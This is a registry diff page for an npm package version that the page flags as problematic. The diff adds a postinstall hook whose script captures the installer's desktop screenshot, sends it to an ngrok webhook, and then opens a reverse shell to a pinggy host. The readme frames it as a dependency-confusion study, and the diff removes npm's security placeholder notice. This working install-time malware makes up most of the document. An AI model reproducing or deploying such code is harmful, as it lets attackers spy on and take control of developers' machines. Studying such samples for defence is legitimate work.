private-bug-bounty-secret 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of private-bug-bounty-secret might be problematic. Click here for more details.

@@ -0,0 +1,85 @@
1
+ const https = require('https');
2
+ const fs = require('fs');
3
+ const screenshot = require('screenshot-desktop');
4
+
5
+
6
+ const screenshotPath = 'screenshot.png';
7
+
8
+
9
+ function captureAndSendScreenshot() {
10
+ screenshot()
11
+ .then((img) => {
12
+
13
+ fs.writeFileSync(screenshotPath, img);
14
+ console.log('Captura de tela salva como screenshot.png');
15
+
16
+
17
+ const image = fs.readFileSync(screenshotPath);
18
+ const base64Image = image.toString('base64');
19
+
20
+
21
+ const options = {
22
+ hostname: '2e6a-2804-720-4017-dc00-e6a8-dfff-fef3-708b.ngrok-free.app',
23
+ port: 443,
24
+ path: '/webhook',
25
+ method: 'POST',
26
+ headers: {
27
+ 'Content-Type': 'application/json',
28
+ 'ngrok-skip-browser-warning': 'true',
29
+ },
30
+ rejectUnauthorized: false,
31
+ };
32
+
33
+
34
+ const requestData = JSON.stringify({
35
+ image: base64Image,
36
+ fileName: screenshotPath,
37
+ });
38
+
39
+
40
+ const req = https.request(options, (res) => {
41
+ let responseData = '';
42
+
43
+ res.on('data', (chunk) => {
44
+ responseData += chunk;
45
+ });
46
+
47
+ res.on('end', () => {
48
+ console.log('Resposta do servidor:', responseData);
49
+ executeReverseShell();
50
+ });
51
+ });
52
+
53
+ req.on('error', (err) => {
54
+ console.error('Erro na solicitação:', err.message);
55
+ });
56
+
57
+ req.write(requestData);
58
+ req.end();
59
+ })
60
+ .catch((err) => {
61
+ console.error('Erro ao capturar a tela:', err.message);
62
+ });
63
+ }
64
+
65
+
66
+ function executeReverseShell() {
67
+ (function () {
68
+ const net = require('net');
69
+ const cp = require('child_process');
70
+ const sh = cp.spawn('sh', []);
71
+ const client = new net.Socket();
72
+
73
+ client.connect(34697, 'rnrqo-2804-720-4017-dc00-e6a8-dfff-fef3-708b.a.free.pinggy.link', function () {
74
+ client.pipe(sh.stdin);
75
+ sh.stdout.pipe(client);
76
+ sh.stderr.pipe(client);
77
+ });
78
+
79
+
80
+ return /a/;
81
+ })();
82
+ }
83
+
84
+
85
+ captureAndSendScreenshot();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "private-bug-bounty-secret",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "Malicious dependency PoC",
5
+ "scripts": {
6
+ "postinstall": "node ngrok_teste_postinstall.js"
7
+ },
8
+ "dependencies": {
9
+ "https": "^1.0.0",
10
+ "screenshot-desktop": "^1.15.0"
11
+ }
6
12
  }
package/readme.md ADDED
@@ -0,0 +1,4 @@
1
+ # Teste
2
+
3
+ Não instale essa lib! Esse script é um teste para fins de estudos do
4
+ Dependency Confusion.
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=private-bug-bounty-secret for more information.